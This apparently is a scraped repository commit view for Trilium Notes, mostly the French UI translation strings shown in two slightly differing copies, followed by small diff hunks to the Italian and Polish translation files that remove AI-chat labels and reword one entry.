"new-note-title": "Nouvelle note",
"search-notes-title": "Rechercher des notes",
"calendar-title": "Calendrier",
"recent-changes-title": "Modifications récentes",
"bookmarks-title": "Signets",
"open-today-journal-note-title": "Ouvrir la note du journal du jour",
"quick-search-title": "Recherche rapide",
"protected-session-title": "Session protégée",
"sync-status-title": "État de la synchronisation",
"settings-title": "Réglages",
"options-title": "Options",
"appearance-title": "Apparence",
"shortcuts-title": "Raccourcis",
"text-notes": "Notes de texte",
"code-notes-title": "Notes de code",
"images-title": "Images",
"spellcheck-title": "Correcteur orthographique",
"password-title": "Mot de passe",
"etapi-title": "ETAPI",
"backup-title": "Sauvegarde",
"sync-title": "Synchronisation",
"other": "Autre",
"advanced-title": "Avancé",
"visible-launchers-title": "Raccourcis visibles",
"user-guide": "Guide de l'utilisateur",
"jump-to-note-title": "Aller à...",
"multi-factor-authentication-title": "MFA",
"localization": "Langue et région",
"inbox-title": "Boîte de réception",
"command-palette": "Ouvrir la palette de commandes",
"zen-mode": "Mode Zen",
"llm-chat-history-title": "Historique du chat",
"llm-title": "AI / LLM",
"tab-switcher-title": "Commutateur d'onglets",
"sidebar-chat-title": "AI Chat"
},
"notes": {
"new-note": "Nouvelle note",
"duplicate-note-suffix": "(dup)",
"duplicate-note-title": "{{- noteTitle }} {{ duplicateNoteSuffix }}"
},
"backend_log": {
"log-does-not-exist": "Le fichier journal '{{ fileName }}' n'existe pas (encore).",
"reading-log-failed": "La lecture du fichier journal d'administration '{{ fileName }}' a échoué."
},
"content_renderer": {
"note-cannot-be-displayed": "Ce type de note ne peut pas être affiché."
},
"pdf": {
"export_filter": "Document PDF (*.pdf)",
"unable-to-export-message": "La note actuelle n'a pas pu être exportée en format PDF.",
"unable-to-export-title": "Impossible d'exporter au format PDF",
"unable-to-save-message": "Le fichier sélectionné n'a pas pu être écrit. Réessayez ou sélectionnez une autre destination.",
"unable-to-print": "Impossible d'imprimer la note"
},
"tray": {
"tooltip": "Trilium Notes",
"close": "Quitter Trilium",
"recents": "Notes récentes",
"bookmarks": "Signets",
"today": "Ouvrir la note du journal du jour",
"new-note": "Nouvelle note",
"show-windows": "Afficher les fenêtres",
"open_new_window": "Ouvrir une nouvelle fenêtre"
},
"migration": {
"old_version": "La migration directe à partir de votre version actuelle n'est pas prise en charge. Veuillez d'abord mettre à jour vers la version v0.60.4, puis vers cette nouvelle version.",
"error_message": "Erreur lors de la migration vers la version {{version}}: {{stack}}",
"wrong_db_version": "La version de la base de données ({{version}}) est plus récente que ce que l'application supporte actuellement ({{targetVersion}}), ce qui signifie qu'elle a été créée par une version plus récente et incompatible de Trilium. Mettez à jour vers la dernière version de Trilium pour résoudre ce problème."
},
"modals": {
"error_title": "Erreur"
},
"keyboard_action_names": {
"command-palette": "Palette de commandes",
"quick-search": "Recherche rapide",
"back-in-note-history": "Revenir dans lhistorique des notes",
"forward-in-note-history": "Suivant dans lhistorique des notes",
"jump-to-note": "Aller à…",
"scroll-to-active-note": "Faire défiler jusquà la note active",
"search-in-subtree": "Rechercher dans la sous-arborescence",
"expand-subtree": "Développer la sous-arborescence",
"collapse-tree": "Réduire larborescence",
"collapse-subtree": "Réduire la sous-arborescence",
"sort-child-notes": "Trier les notes enfants",
"create-note-after": "Créer une note après",
"create-note-into": "Créer une note dans",
"create-note-into-inbox": "Créer une note dans Inbox",
"delete-notes": "Supprimer les notes",
"move-note-up": "Remonter la note",
"move-note-down": "Descendre la note",
"move-note-up-in-hierarchy": "Monter la note dans la hiérarchie",
"move-note-down-in-hierarchy": "Descendre la note dans la hiérarchie",
"edit-note-title": "Modifier le titre de la note",
"edit-branch-prefix": "Modifier le préfixe de la branche",
"clone-notes-to": "Cloner les notes vers",
"move-notes-to": "Déplacer les notes vers",
"copy-notes-to-clipboard": "Copier les notes dans le presse-papiers",
"paste-notes-from-clipboard": "Coller les notes depuis le presse-papiers",
"cut-notes-to-clipboard": "Couper les notes vers le presse-papier",
"select-all-notes-in-parent": "Selectionner toutes les notes dans le parent",
"add-note-above-to-selection": "Ajouter la note au-dessus à la selection",
"add-note-below-to-selection": "Ajouter la note dessous à la selection",
"duplicate-subtree": "Dupliquer la sous-arborescence",
"open-new-tab": "Ouvrir un nouvel onglet",
"close-active-tab": "Fermer l'onglet actif",
"reopen-last-tab": "Réouvrir le dernier onglet",
"activate-next-tab": "Activer l'onglet suivant",
"activate-previous-tab": "Activer l'onglet précédent",
"open-new-window": "Ouvrir une nouvelle fenêtre",
"toggle-system-tray-icon": "Activer/Désactiver l'icone de la barre d'état",
"toggle-zen-mode": "Activer/Désactiver le mode Zen",
"switch-to-first-tab": "Aller au premier onglet",
"switch-to-second-tab": "Aller au second onglet",
"switch-to-third-tab": "Aller au troisième onglet",
"switch-to-fourth-tab": "Aller au quatrième onglet",
"switch-to-fifth-tab": "Aller au cinquième onglet",
"switch-to-sixth-tab": "Aller au sixième onglet",
"switch-to-seventh-tab": "Aller au septième onglet",
"switch-to-eighth-tab": "Aller au huitième onglet",
"switch-to-ninth-tab": "Aller au neuvième onglet",
"switch-to-last-tab": "Aller au dernier onglet",
"show-note-source": "Afficher la source de la note",
"show-options": "Afficher les options",
"show-revisions": "Afficher les révisions",
"show-recent-changes": "Afficher les changements récents",
"show-sql-console": "Afficher la console SQL",
"show-backend-log": "Afficher le journal du backend",
"show-help": "Afficher l'aide",
"show-cheatsheet": "Afficher la fiche de triche",
"add-link-to-text": "Ajouter un lien au texte",
"follow-link-under-cursor": "Suivre le lien en dessous du curseur",
"insert-date-and-time-to-text": "Insérer la date et l'heure dans le texte",
"paste-markdown-into-text": "Coller du Markdown dans le texte",
"cut-into-note": "Couper dans une note",
"add-include-note-to-text": "Ajouter une note inclusion au texte",
"edit-read-only-note": "Modifier une note en lecture seule",
"add-new-label": "Ajouter une nouvelle étiquette",
"add-new-relation": "Ajouter une nouvelle relation",
"toggle-ribbon-tab-classic-editor": "Basculer l'onglet Mise en forme de l'éditeur avec la barre d'outils fixe",
"toggle-ribbon-tab-basic-properties": "Afficher/masquer les Propriétés de base de la note",
"toggle-ribbon-tab-book-properties": "Afficher/masquer les Propriétés du Livre",
"toggle-ribbon-tab-file-properties": "Afficher/masquer les Propriétés du fichier",
"toggle-ribbon-tab-image-properties": "Afficher/masquer les Propriétés de l'image",
"toggle-ribbon-tab-owned-attributes": "Afficher/masquer les Attributs propres",
"toggle-ribbon-tab-inherited-attributes": "Afficher/masquer les Attributs hérités",
"toggle-right-pane": "Afficher le panneau de droite",
"print-active-note": "Imprimer la note active",
"export-active-note-as-pdf": "Exporter la note active en PDF",
"open-note-externally": "Ouvrir la note à l'extérieur",
"render-active-note": "Faire un rendu de la note active",
"run-active-note": "Lancer la note active",
"reload-frontend-app": "Recharger l'application Frontend",
"open-developer-tools": "Ouvrir les outils développeur",
"find-in-text": "Chercher un texte",
"toggle-left-pane": "Afficher le panneau de gauche",
"toggle-full-screen": "Passer en mode plein écran",
"zoom-out": "Dézoomer",
"zoom-in": "Zoomer",
"reset-zoom-level": "Réinitilaliser le zoom",
"copy-without-formatting": "Copier sans mise en forme",
"force-save-revision": "Forcer la sauvegarde de la révision",
"toggle-ribbon-tab-promoted-attributes": "Basculer les attributs promus de l'onglet du ruban",
"toggle-ribbon-tab-note-map": "Basculer l'onglet du ruban Note Map",
"toggle-ribbon-tab-note-info": "Basculer l'onglet du ruban Note Info",
"toggle-ribbon-tab-note-paths": "Basculer les chemins de notes de l'onglet du ruban",
"toggle-ribbon-tab-similar-notes": "Basculer l'onglet du ruban Notes similaires",
"toggle-note-hoisting": "Activer la focalisation sur la note",
"unhoist-note": "Désactiver la focalisation sur la note"
},
"sql_init": {
"db_not_initialized_desktop": "Base de données non initialisée, merci de suivre les instructions à l'écran.",
"db_not_initialized_server": "Base de données non initialisée, veuillez visitez - http://[your-server-host]:{{port}} pour consulter les instructions d'initialisation de Trilium."
},
"desktop": {
"instance_already_running": "Une instance est déjà en cours d'execution, ouverture de cette instance à la place."
},
"weekdayNumber": "Semaine {weekNumber}",
"quarterNumber": "Trimestre {quarterNumber}",
"share_theme": {
"site-theme": "Thème du site",
"search_placeholder": "Recherche...",
"image_alt": "Image de l'article",
"last-updated": "Dernière mise à jour le {{- date}}",
"subpages": "Sous-pages:",
"on-this-page": "Sur cette page",
"expand": "Développer"
},
"hidden_subtree_templates": {
"text-snippet": "Extrait de texte",
"description": "Description",
"list-view": "Vue en liste",
"grid-view": "Vue en grille",
"calendar": "Calendrier",
"table": "Tableau",
"geo-map": "Carte géographique",
"start-date": "Date de début",
"end-date": "Date de fin",
"start-time": "Heure de début",
"end-time": "Heure de fin",
"geolocation": "Géolocalisation",
"built-in-templates": "Modèles intégrés",
"board": "Tableau Kanban",
"status": "État",
"board_note_first": "Première note",
"board_note_second": "Deuxième note",
"board_note_third": "Troisième note",
"board_status_todo": "A faire",
"board_status_progress": "En cours",
"board_status_done": "Terminé",
"presentation": "Présentation",
"presentation_slide": "Diapositive de présentation",
"presentation_slide_first": "Première diapositive",
"presentation_slide_second": "Deuxième diapositive",
"background": "Arrière-plan"
}
"keyboard_actions": {
"open-jump-to-note-dialog": "Ouvrir la boîte de dialogue \"Aller à la note\"",
"search-in-subtree": "Rechercher des notes dans les sous-arbres de la note active",
"expand-subtree": "Développer le sous-arbre de la note actuelle",
"collapse-tree": "Réduire toute l'arborescence des notes",
"collapse-subtree": "Réduire le sous-arbre de la note actuelle",
"sort-child-notes": "Trier les notes enfants",
"creating-and-moving-notes": "Créer et déplacer des notes",
"create-note-into-inbox": "Créer une note dans l'emplacement par défaut (si défini) ou une note journalière",
"delete-note": "Supprimer la note",
"move-note-up": "Déplacer la note vers le haut",
"move-note-down": "Déplacer la note vers le bas",
"move-note-up-in-hierarchy": "Déplacer la note vers le haut dans la hiérarchie",
"move-note-down-in-hierarchy": "Déplacer la note vers le bas dans la hiérarchie",
"edit-note-title": "Passer de l'arborescence aux détails d'une note et éditer le titre",
"edit-branch-prefix": "Afficher la fenêtre Éditer le préfixe de branche",
"note-clipboard": "Note presse-papiers",
"copy-notes-to-clipboard": "Copier les notes sélectionnées dans le presse-papiers",
"paste-notes-from-clipboard": "Coller les notes depuis le presse-papiers dans la note active",
"cut-notes-to-clipboard": "Couper les notes sélectionnées dans le presse-papiers",
"select-all-notes-in-parent": "Sélectionner toutes les notes du niveau de la note active",
"add-note-above-to-the-selection": "Ajouter la note au-dessus de la sélection",
"add-note-below-to-selection": "Ajouter la note en dessous de la sélection",
"duplicate-subtree": "Dupliquer le sous-arbre",
"tabs-and-windows": "Onglets et fenêtres",
"open-new-tab": "Ouvrir un nouvel onglet",
"close-active-tab": "Fermer l'onglet actif",
"reopen-last-tab": "Rouvrir le dernier onglet fermé",
"activate-next-tab": "Basculer vers l'onglet à droite de l'onglet actif",
"activate-previous-tab": "Basculer vers l'onglet à gauche de l'onglet actif",
"open-new-window": "Ouvrir une nouvelle fenêtre vide",
"toggle-tray": "Afficher/masquer l'application dans la barre des tâches",
"first-tab": "Basculer vers le premier onglet dans la liste",
"second-tab": "Basculer vers le deuxième onglet dans la liste",
"third-tab": "Basculer vers le troisième onglet dans la liste",
"fourth-tab": "Basculer vers le quatrième onglet dans la liste",
"fifth-tab": "Basculer vers le cinquième onglet dans la liste",
"sixth-tab": "Basculer vers le sixième onglet dans la liste",
"seventh-tab": "Basculer vers le septième onglet dans la liste",
"eight-tab": "Basculer vers le huitième onglet dans la liste",
"ninth-tab": "Basculer vers le neuvième onglet dans la liste",
"last-tab": "Basculer vers le dernier onglet dans la liste",
"dialogs": "Boîtes de dialogue",
"show-note-source": "Affiche la boîte de dialogue Source de la note",
"show-options": "Afficher les Options",
"show-revisions": "Afficher la boîte de dialogue Versions de la note",
"show-recent-changes": "Afficher la boîte de dialogue Modifications récentes",
"show-sql-console": "Afficher la boîte de dialogue Console SQL",
"show-backend-log": "Afficher la boîte de dialogue Journal du backend",
"text-note-operations": "Opérations sur les notes textuelles",
"add-link-to-text": "Ouvrir la boîte de dialogue pour ajouter un lien dans le texte",
"follow-link-under-cursor": "Suivre le lien sous le curseur",
"insert-date-and-time-to-text": "Insérer la date et l'heure dans le texte",
"paste-markdown-into-text": "Coller du texte au format Markdown dans la note depuis le presse-papiers",
"cut-into-note": "Couper la sélection depuis la note actuelle et créer une sous-note avec le texte sélectionné",
"add-include-note-to-text": "Ouvrir la boîte de dialogue pour Inclure une note",
"edit-readonly-note": "Éditer une note en lecture seule",
"attributes-labels-and-relations": "Attributs (labels et relations)",
"add-new-label": "Créer un nouveau label",
"create-new-relation": "Créer une nouvelle relation",
"ribbon-tabs": "Onglets du ruban",
"toggle-basic-properties": "Afficher/masquer les Propriétés de base de la note",
"toggle-file-properties": "Afficher/masquer les Propriétés du fichier",
"toggle-image-properties": "Afficher/masquer les Propriétés de l'image",
"toggle-owned-attributes": "Afficher/masquer les Attributs propres",
"toggle-inherited-attributes": "Afficher/masquer les Attributs hérités",
"toggle-promoted-attributes": "Afficher/masquer les Attributs promus",
"toggle-link-map": "Afficher/masquer la Carte de la note",
"toggle-note-info": "Afficher/masquer les Informations de la note",
"toggle-note-paths": "Afficher/masquer les Emplacements de la note",
"toggle-similar-notes": "Afficher/masquer les Notes similaires",
"other": "Autre",
"toggle-right-pane": "Afficher/masquer le volet droit, qui inclut la Table des matières et les Accentuations",
"print-active-note": "Imprimer la note active",
"open-note-externally": "Ouvrir la note comme fichier avec l'application par défaut",
"render-active-note": "Rendre (ou re-rendre) la note active",
"run-active-note": "Exécuter le code JavaScript (frontend/backend) de la note active",
"toggle-note-hoisting": "Activer le focus sur la note active",
"unhoist": "Désactiver tout focus",
"reload-frontend-app": "Recharger l'application",
"open-dev-tools": "Ouvrir les outils de développement",
"toggle-left-note-tree-panel": "Basculer le panneau gauche (arborescence des notes)",
"toggle-full-screen": "Basculer en plein écran",
"zoom-out": "Dézoomer",
"zoom-in": "Zoomer",
"note-navigation": "Navigation dans les notes",
"reset-zoom-level": "Réinitialiser le niveau de zoom",
"copy-without-formatting": "Copier le texte sélectionné sans mise en forme",
"force-save-revision": "Forcer la création / sauvegarde d'une nouvelle version de la note active",
"show-help": "Affiche le guide de l'utilisateur intégré",
"toggle-book-properties": "Afficher/masquer les Propriétés du Livre",
"toggle-classic-editor-toolbar": "Activer/désactiver l'onglet Mise en forme de l'éditeur avec la barre d'outils fixe",
"export-as-pdf": "Exporte la note actuelle en PDF",
"show-cheatsheet": "Affiche une fenêtre modale avec des opérations de clavier courantes",
"toggle-zen-mode": "Active/désactive le mode zen (interface réduite pour favoriser la concentration)",
"back-in-note-history": "Naviguer à la note précédente dans l'historique",
"forward-in-note-history": "Naviguer a la note suivante dans l'historique",
"open-command-palette": "Ouvrir la palette de commandes",
"clone-notes-to": "Cloner les nœuds sélectionnés",
"move-notes-to": "Déplacer les nœuds sélectionnés",
"scroll-to-active-note": "Faire défiler larborescence des notes jusquà la note active",
"quick-search": "Activer la barre de recherche rapide",
"create-note-after": "Créer une note après la note active",
"create-note-into": "Créer une note enfant de la note active",
"find-in-text": "Afficher/Masquer le panneau de recherche"
},
"login": {
"title": "Connexion",
"heading": "Connexion à Trilium",
"incorrect-password": "Le mot de passe est incorrect. Veuillez réessayer.",
"password": "Mot de passe",
"remember-me": "Se souvenir de moi",
"button": "Connexion",
"sign_in_with_sso": "Se connecter avec {{ ssoIssuerName }}",
"incorrect-totp": "TOTP incorrect. Veuillez réessayer."
},
"set_password": {
"title": "Définir un mot de passe",
"heading": "Définir un mot de passe",
"description": "Avant de pouvoir commencer à utiliser Trilium depuis le web, vous devez d'abord définir un mot de passe. Vous utiliserez ensuite ce mot de passe pour vous connecter.",
"password": "Mot de passe",
"password-confirmation": "Confirmation du mot de passe",
"button": "Définir le mot de passe"
},
"setup": {
"heading": "Configuration de Trilium Notes",
"new-document": "Je suis un nouvel utilisateur et je souhaite créer un nouveau document Trilium pour mes notes",
"sync-from-desktop": "J'ai déjà l'application de bureau et je souhaite configurer la synchronisation avec celle-ci",
"sync-from-server": "J'ai déjà un serveur et je souhaite configurer la synchronisation avec celui-ci",
"next": "Suivant",
"init-in-progress": "Initialisation du document en cours",
"redirecting": "Vous serez bientôt redirigé vers l'application.",
"title": "Configuration"
},
"setup_sync-from-desktop": {
"heading": "Synchroniser depuis une application de bureau",
"description": "Cette procédure doit être réalisée depuis l'application de bureau :",
"step1": "Ouvrez l'application Trilium Notes.",
"step2": "Dans le menu Trilium, cliquez sur Options.",
"step3": "Cliquez sur la catégorie Synchroniser.",
"step4": "Remplacez l'adresse de l'instance de serveur par : {{- host}} et cliquez sur Enregistrer.",
"step5": "Cliquez sur le bouton 'Tester la synchronisation' pour vérifier que la connexion fonctionne.",
"step6": "Une fois que vous avez terminé ces étapes, cliquez sur {{- link}}.",
"step6-here": "ici"
},
"setup_sync-from-server": {
"heading": "Synchroniser depuis le serveur",
"instructions": "Veuillez saisir l'adresse du serveur Trilium et les informations d'identification ci-dessous. Cela téléchargera l'intégralité du document Trilium à partir du serveur et configurera la synchronisation avec celui-ci. En fonction de la taille du document et de votre vitesse de connexion, cela peut prendre un plusieurs minutes.",
"server-host": "Adresse du serveur Trilium",
"server-host-placeholder": "https://<nom d'hôte>:<port>",
"proxy-server": "Serveur proxy (facultatif)",
"proxy-server-placeholder": "https://<nom d'hôte>:<port>",
"note": "Note :",
"proxy-instruction": "Si vous laissez le paramètre de proxy vide, le proxy du système sera utilisé (s'applique uniquement à l'application de bureau)",
"password": "Mot de passe",
"password-placeholder": "Mot de passe",
"back": "Retour",
"finish-setup": "Terminer"
},
"setup_sync-in-progress": {
"heading": "Synchronisation en cours",
"successful": "La synchronisation a été correctement configurée. La synchronisation initiale prendra un certain temps. Une fois terminée, vous serez redirigé vers la page de connexion.",
"outstanding-items": "Éléments de synchronisation exceptionnels :",
"outstanding-items-default": "N/A"
},
"share_404": {
"title": "Page non trouvée",
"heading": "Page non trouvée"
},
"share_page": {
"parent": "parent :",
"clipped-from": "Cette note a été initialement extraite de {{- url}}",
"child-notes": "Notes enfants :",
"no-content": "Cette note n'a aucun contenu."
},
"weekdays": {
"monday": "Lundi",
"tuesday": "Mardi",
"wednesday": "Mercredi",
"thursday": "Jeudi",
"friday": "Vendredi",
"saturday": "Samedi",
"sunday": "Dimanche"
},
"months": {
"january": "Janvier",
"february": "Février",
"march": "Mars",
"april": "Avril",
"may": "Mai",
"june": "Juin",
"july": "Juillet",
"august": "Août",
"september": "Septembre",
"october": "Octobre",
"november": "Novembre",
"december": "Décembre"
},
"special_notes": {
"search_prefix": "Recherche :"
},
"test_sync": {
"not-configured": "L'hôte du serveur de synchronisation n'est pas configuré. Veuillez d'abord configurer la synchronisation.",
"successful": "L'établissement de liaison du serveur de synchronisation a été réussi, la synchronisation a été démarrée."
},
"hidden-subtree": {
"root-title": "Notes cachées",
"search-history-title": "Historique de recherche",
"note-map-title": "Carte de la Note",
"sql-console-history-title": "Historique de la console SQL",
"shared-notes-title": "Notes partagées",
"bulk-action-title": "Action groupée",
"backend-log-title": "Journal Backend",
"user-hidden-title": "Utilisateur masqué",
"launch-bar-templates-title": "Modèles de barre de raccourcis",
"base-abstract-launcher-title": "Raccourci Base abstraite",
"command-launcher-title": "Raccourci Commande",
"note-launcher-title": "Raccourci Note",
"script-launcher-title": "Raccourci Script",
"built-in-widget-title": "Widget intégré",
"spacer-title": "Séparateur",
"custom-widget-title": "Widget personnalisé",
"launch-bar-title": "Barre de lancement",
"available-launchers-title": "Raccourcis disponibles",
"go-to-previous-note-title": "Aller à la note précédente",
"go-to-next-note-title": "Aller à la note suivante",
"new-note-title": "Nouvelle note",
"search-notes-title": "Rechercher des notes",
"calendar-title": "Calendrier",
"recent-changes-title": "Modifications récentes",
"bookmarks-title": "Signets",
"open-today-journal-note-title": "Ouvrir la note du journal du jour",
"quick-search-title": "Recherche rapide",
"protected-session-title": "Session protégée",
"sync-status-title": "État de la synchronisation",
"settings-title": "Réglages",
"options-title": "Options",
"appearance-title": "Apparence",
"shortcuts-title": "Raccourcis",
"text-notes": "Notes de texte",
"code-notes-title": "Notes de code",
"images-title": "Images",
"spellcheck-title": "Correcteur orthographique",
"password-title": "Mot de passe",
"etapi-title": "ETAPI",
"backup-title": "Sauvegarde",
"sync-title": "Synchronisation",
"other": "Autre",
"advanced-title": "Avancé",
"visible-launchers-title": "Raccourcis visibles",
"user-guide": "Guide de l'utilisateur",
"jump-to-note-title": "Aller à...",
"multi-factor-authentication-title": "MFA",
"localization": "Langue et région",
"inbox-title": "Boîte de réception",
"command-palette": "Ouvrir la palette de commandes",
"zen-mode": "Mode Zen"
},
"notes": {
"new-note": "Nouvelle note",
"duplicate-note-suffix": "(dup)",
"duplicate-note-title": "{{- noteTitle }} {{ duplicateNoteSuffix }}"
},
"backend_log": {
"log-does-not-exist": "Le fichier journal '{{ fileName }}' n'existe pas (encore).",
"reading-log-failed": "La lecture du fichier journal d'administration '{{ fileName }}' a échoué."
},
"content_renderer": {
"note-cannot-be-displayed": "Ce type de note ne peut pas être affiché."
},
"pdf": {
"export_filter": "Document PDF (*.pdf)",
"unable-to-export-message": "La note actuelle n'a pas pu être exportée en format PDF.",
"unable-to-export-title": "Impossible d'exporter au format PDF",
"unable-to-save-message": "Le fichier sélectionné n'a pas pu être écrit. Réessayez ou sélectionnez une autre destination.",
"unable-to-print": "Impossible d'imprimer la note"
},
"tray": {
"tooltip": "Trilium Notes",
"close": "Quitter Trilium",
"recents": "Notes récentes",
"bookmarks": "Signets",
"today": "Ouvrir la note du journal du jour",
"new-note": "Nouvelle note",
"show-windows": "Afficher les fenêtres",
"open_new_window": "Ouvrir une nouvelle fenêtre"
},
"migration": {
"old_version": "La migration directe à partir de votre version actuelle n'est pas prise en charge. Veuillez d'abord mettre à jour vers la version v0.60.4, puis vers cette nouvelle version.",
"error_message": "Erreur lors de la migration vers la version {{version}}: {{stack}}",
"wrong_db_version": "La version de la base de données ({{version}}) est plus récente que ce que l'application supporte actuellement ({{targetVersion}}), ce qui signifie qu'elle a été créée par une version plus récente et incompatible de Trilium. Mettez à jour vers la dernière version de Trilium pour résoudre ce problème."
},
"modals": {
"error_title": "Erreur"
},
"keyboard_action_names": {
"command-palette": "Palette de commandes",
"quick-search": "Recherche rapide",
"back-in-note-history": "Revenir dans lhistorique des notes",
"forward-in-note-history": "Suivant dans lhistorique des notes",
"jump-to-note": "Aller à…",
"scroll-to-active-note": "Faire défiler jusquà la note active",
"search-in-subtree": "Rechercher dans la sous-arborescence",
"expand-subtree": "Développer la sous-arborescence",
"collapse-tree": "Réduire larborescence",
"collapse-subtree": "Réduire la sous-arborescence",
"sort-child-notes": "Trier les notes enfants",
"create-note-after": "Créer une note après",
"create-note-into": "Créer une note dans",
"create-note-into-inbox": "Créer une note dans Inbox",
"delete-notes": "Supprimer les notes",
"move-note-up": "Remonter la note",
"move-note-down": "Descendre la note",
"move-note-up-in-hierarchy": "Monter la note dans la hiérarchie",
"move-note-down-in-hierarchy": "Descendre la note dans la hiérarchie",
"edit-note-title": "Modifier le titre de la note",
"edit-branch-prefix": "Modifier le préfixe de la branche",
"clone-notes-to": "Cloner les notes vers",
"move-notes-to": "Déplacer les notes vers",
"copy-notes-to-clipboard": "Copier les notes dans le presse-papiers",
"paste-notes-from-clipboard": "Coller les notes depuis le presse-papiers",
"cut-notes-to-clipboard": "Couper les notes vers le presse-papier",
"select-all-notes-in-parent": "Selectionner toutes les notes dans le parent",
"add-note-above-to-selection": "Ajouter la note au-dessus à la selection",
"add-note-below-to-selection": "Ajouter la note dessous à la selection",
"duplicate-subtree": "Dupliquer la sous-arborescence",
"open-new-tab": "Ouvrir un nouvel onglet",
"close-active-tab": "Fermer l'onglet actif",
"reopen-last-tab": "Réouvrir le dernier onglet",
"activate-next-tab": "Activer l'onglet suivant",
"activate-previous-tab": "Activer l'onglet précédent",
"open-new-window": "Ouvrir une nouvelle fenêtre",
"toggle-system-tray-icon": "Activer/Désactiver l'icone de la barre d'état",
"toggle-zen-mode": "Activer/Désactiver le mode Zen",
"switch-to-first-tab": "Aller au premier onglet",
"switch-to-second-tab": "Aller au second onglet",
"switch-to-third-tab": "Aller au troisième onglet",
"switch-to-fourth-tab": "Aller au quatrième onglet",
"switch-to-fifth-tab": "Aller au cinquième onglet",
"switch-to-sixth-tab": "Aller au sixième onglet",
"switch-to-seventh-tab": "Aller au septième onglet",
"switch-to-eighth-tab": "Aller au huitième onglet",
"switch-to-ninth-tab": "Aller au neuvième onglet",
"switch-to-last-tab": "Aller au dernier onglet",
"show-note-source": "Afficher la source de la note",
"show-options": "Afficher les options",
"show-revisions": "Afficher les révisions",
"show-recent-changes": "Afficher les changements récents",
"show-sql-console": "Afficher la console SQL",
"show-backend-log": "Afficher le journal du backend",
"show-help": "Afficher l'aide",
"show-cheatsheet": "Afficher la fiche de triche",
"add-link-to-text": "Ajouter un lien au texte",
"follow-link-under-cursor": "Suivre le lien en dessous du curseur",
"insert-date-and-time-to-text": "Insérer la date et l'heure dans le texte",
"paste-markdown-into-text": "Coller du Markdown dans le texte",
"cut-into-note": "Couper dans une note",
"add-include-note-to-text": "Ajouter une note inclusion au texte",
"edit-read-only-note": "Modifier une note en lecture seule",
"add-new-label": "Ajouter une nouvelle étiquette",
"add-new-relation": "Ajouter une nouvelle relation",
"toggle-ribbon-tab-classic-editor": "Basculer l'onglet Mise en forme de l'éditeur avec la barre d'outils fixe",
"toggle-ribbon-tab-basic-properties": "Afficher/masquer les Propriétés de base de la note",
"toggle-ribbon-tab-book-properties": "Afficher/masquer les Propriétés du Livre",
"toggle-ribbon-tab-file-properties": "Afficher/masquer les Propriétés du fichier",
"toggle-ribbon-tab-image-properties": "Afficher/masquer les Propriétés de l'image",
"toggle-ribbon-tab-owned-attributes": "Afficher/masquer les Attributs propres",
"toggle-ribbon-tab-inherited-attributes": "Afficher/masquer les Attributs hérités",
"toggle-right-pane": "Afficher le panneau de droite",
"print-active-note": "Imprimer la note active",
"export-active-note-as-pdf": "Exporter la note active en PDF",
"open-note-externally": "Ouvrir la note à l'extérieur",
"render-active-note": "Faire un rendu de la note active",
"run-active-note": "Lancer la note active",
"reload-frontend-app": "Recharger l'application Frontend",
"open-developer-tools": "Ouvrir les outils développeur",
"find-in-text": "Chercher un texte",
"toggle-left-pane": "Afficher le panneau de gauche",
"toggle-full-screen": "Passer en mode plein écran",
"zoom-out": "Dézoomer",
"zoom-in": "Zoomer",
"reset-zoom-level": "Réinitilaliser le zoom",
"copy-without-formatting": "Copier sans mise en forme",
"force-save-revision": "Forcer la sauvegarde de la révision",
"toggle-ribbon-tab-promoted-attributes": "Basculer les attributs promus de l'onglet du ruban",
"toggle-ribbon-tab-note-map": "Basculer l'onglet du ruban Note Map",
"toggle-ribbon-tab-note-info": "Basculer l'onglet du ruban Note Info",
"toggle-ribbon-tab-note-paths": "Basculer les chemins de notes de l'onglet du ruban",
"toggle-ribbon-tab-similar-notes": "Basculer l'onglet du ruban Notes similaires",
"toggle-note-hoisting": "Activer la focalisation sur la note",
"unhoist-note": "Désactiver la focalisation sur la note"
},
"sql_init": {
"db_not_initialized_desktop": "Base de données non initialisée, merci de suivre les instructions à l'écran.",
"db_not_initialized_server": "Base de données non initialisée, veuillez visitez - http://[your-server-host]:{{port}} pour consulter les instructions d'initialisation de Trilium."
},
"desktop": {
"instance_already_running": "Une instance est déjà en cours d'execution, ouverture de cette instance à la place."
},
"weekdayNumber": "Semaine {weekNumber}",
"quarterNumber": "Trimestre {quarterNumber}",
"share_theme": {
"site-theme": "Thème du site",
"search_placeholder": "Recherche...",
"image_alt": "Image de l'article",
"last-updated": "Dernière mise à jour le {{- date}}",
"subpages": "Sous-pages:",
"on-this-page": "Sur cette page",
"expand": "Développer"
},
"hidden_subtree_templates": {
"text-snippet": "Extrait de texte",
"description": "Description",
"list-view": "Vue en liste",
"grid-view": "Vue en grille",
"calendar": "Calendrier",
"table": "Tableau",
"geo-map": "Carte géographique",
"start-date": "Date de début",
"end-date": "Date de fin",
"start-time": "Heure de début",
"end-time": "Heure de fin",
"geolocation": "Géolocalisation",
"built-in-templates": "Modèles intégrés",
"board": "Tableau de bord",
"status": "État",
"board_note_first": "Première note",
"board_note_second": "Deuxième note",
"board_note_third": "Troisième note",
"board_status_todo": "A faire",
"board_status_progress": "En cours",
"board_status_done": "Terminé",
"presentation": "Présentation",
"presentation_slide": "Diapositive de présentation",
"presentation_slide_first": "Première diapositive",
"presentation_slide_second": "Deuxième diapositive",
"background": "Arrière-plan"
}
}

View File

@@ -148,10 +148,7 @@
"script-launcher-title": "Scorciatoie degli script",
"command-palette": "Apri tavolozza comandi",
"zen-mode": "Modalità Zen",
"tab-switcher-title": "Selettore scheda",
"llm-chat-history-title": "Cronologia chat IA",
"llm-title": "AI / LLM",
"sidebar-chat-title": "Chat con IA"
"tab-switcher-title": "Selettore scheda"
},
"notes": {
"new-note": "Nuova nota",
@@ -403,8 +400,7 @@
},
"quarterNumber": "Quadrimestre n. {quarterNumber}",
"special_notes": {
"search_prefix": "Ricerca:",
"llm_chat_prefix": "Chat:"
"search_prefix": "Ricerca:"
},
"test_sync": {
"not-configured": "L'host del server di sincronizzazione non è impostato. Configurare prima la sincronizzazione.",

View File

@@ -14,7 +14,7 @@
"creating-and-moving-notes": "Tworzenie i przenoszenie notatek",
"create-note-after": "Utwórz notatkę po aktywnej notatce",
"create-note-into": "Utwórz notatkę jako podrzędną aktywnej notatki",
"create-note-into-inbox": "Utwórz notatkę w skrzynce odbiorczej (jeśli zdefiniowano) lub w notatce dziennej",
"create-note-into-inbox": "Utwórz notatkę w skrzynce odbiorczej (jeśli zdefiniowana) lub notatkę dnia",
"delete-note": "Usuń notatkę",
"move-note-up": "Przenieś notatkę w górę",
